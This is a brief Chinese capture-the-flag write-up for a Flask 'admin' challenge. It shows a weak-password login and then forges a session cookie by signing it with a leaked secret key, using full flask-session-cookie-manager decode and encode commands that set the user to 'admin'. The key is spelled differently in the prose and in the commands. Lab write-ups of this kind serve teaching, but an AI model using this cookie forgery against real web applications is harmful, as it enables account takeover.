``
ᴬᴰᴹᴵᴺ
我注册了admin1
,密码是123
,登录的时候少输了,输成了admin
,直接拿到了flag
,所以密码居然直接是123
......
随便注册账号登录后发现在修改密码处找到了https://github.com/woadsl1234/hctf_flask/
进入github
看一下,目前已经删除了,看以前的wp
能发现加密密钥在config.py
里,为cjk123
需要session
为admin
因为flask
是轻量级web
框架,session
存在客户端,所以我们可以伪造session
使用flask-session-cookie-manager
加密
python3 flask_session_cookie_manager3.py decode -c ".eJw9kMuKwkAQRX9lqHUWebkRXEQ6hglUhYSOoXojjhM1nbQDUZnY4r9P64Dbe6jDvXWHzX5sz0eYX8Zr68Gm-4b5HT6-YA6FxFBJ6lmSQZ3EKFZ9IahTpoyVXHZs1oYE31DgjeXyyTRmVYdNHSvNvpLlpExtSVNfNDxDeQiKrJ6cLWLLM9KrQRn-Jbke3E1UZOw4zkimMds6VC5zjhvZvCdx8MligDrv2Xy-chSVRlO6jskCHh7szuN-c_np29N7AoXrI9mhU8Jps2qgMA1IPOsnAVqeVLMyZJXGphrQpNbpIiwXL11ntof2bSqbnKvkn5y2xgHYgQfXczu-fgaBD48_zF9qFg.Zb4-YQ.6KG3ddkMAqWZ0Ev3ixN5XmxfkOE" -s "ckj123"
重新加密
python3 flask_session_cookie_manager3.py encode -s "ckj123" -t "{'_fresh': True, '_id': b'936e3da3f20801d83bfd8e0bbef462032a0d83c0db1e8f64e41fe363d9f91858e16c7c6961eff055e1e78f58c9518c56ee7e4272d48473522dbb7e4204c2d6e0', 'csrf_token': b'7ea79bd394de7a5448e05361eaf76c1de2a32d71', 'image': b'AbXD', 'name': 'admin', 'user_id': '10'}"
总结:因flask
将session
保存在客户端中的(Cookie
),导致session
可修改,找到密钥后把解密后的用户名处改为admin
重新加密cookie
即可获取flag